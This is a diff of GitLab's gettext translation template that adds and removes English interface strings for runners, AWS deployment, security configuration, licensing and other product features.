msgid "Retry"
msgstr ""
@@ -28318,9 +28021,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28417,6 +28117,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28426,9 +28129,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28495,12 +28195,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28510,6 +28219,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28519,9 +28231,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28534,9 +28255,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28579,12 +28306,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28615,6 +28348,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28693,6 +28432,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28744,10 +28489,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28780,6 +28522,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28831,6 +28576,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28915,9 +28663,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29059,12 +28804,6 @@ msgstr[2] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29131,6 +28870,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29152,6 +28894,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29161,6 +28906,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29185,9 +28936,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29197,12 +28957,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29215,7 +28984,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29224,6 +28996,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29236,6 +29014,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29248,7 +29047,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29311,6 +29110,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29416,6 +29218,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29518,9 +29323,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29551,9 +29353,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29656,9 +29464,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29752,7 +29557,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29791,10 +29596,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29836,9 +29641,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29881,6 +29683,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29971,6 +29776,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30151,9 +29959,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30178,6 +29983,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30202,9 +30010,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30232,9 +30037,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30268,12 +30070,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30322,6 +30118,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30655,9 +30454,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30760,6 +30556,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30826,12 +30625,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30865,9 +30658,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30910,9 +30700,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30964,6 +30751,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30982,6 +30772,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31084,15 +30877,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31309,12 +31093,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31333,7 +31123,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31363,6 +31153,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31450,6 +31243,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31459,9 +31255,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31816,6 +31609,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31834,7 +31630,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31906,9 +31708,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31921,7 +31720,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31969,7 +31768,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31984,7 +31783,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31993,10 +31792,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32188,6 +31987,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32548,7 +32350,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32557,6 +32359,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32566,6 +32371,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32599,9 +32407,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32635,7 +32440,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32665,6 +32470,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32740,6 +32548,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32761,15 +32572,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32854,18 +32665,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32929,9 +32734,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32950,10 +32752,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32968,9 +32770,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32980,9 +32779,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33001,9 +32797,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33145,9 +32938,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33268,6 +33058,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33343,6 +33136,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33376,7 +33172,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33472,6 +33268,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33511,9 +33310,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33598,7 +33394,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34339,9 +34135,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34426,9 +34228,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34528,9 +34327,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34543,6 +34351,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34591,6 +34402,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35071,12 +34891,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35167,21 +34981,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35317,9 +35116,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35656,9 +35452,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35788,6 +35590,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36085,9 +35890,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36097,9 +35899,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36181,9 +35989,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36271,6 +36076,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36289,9 +36097,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36325,6 +36130,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36394,7 +36202,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36535,7 +36346,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36667,6 +36478,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
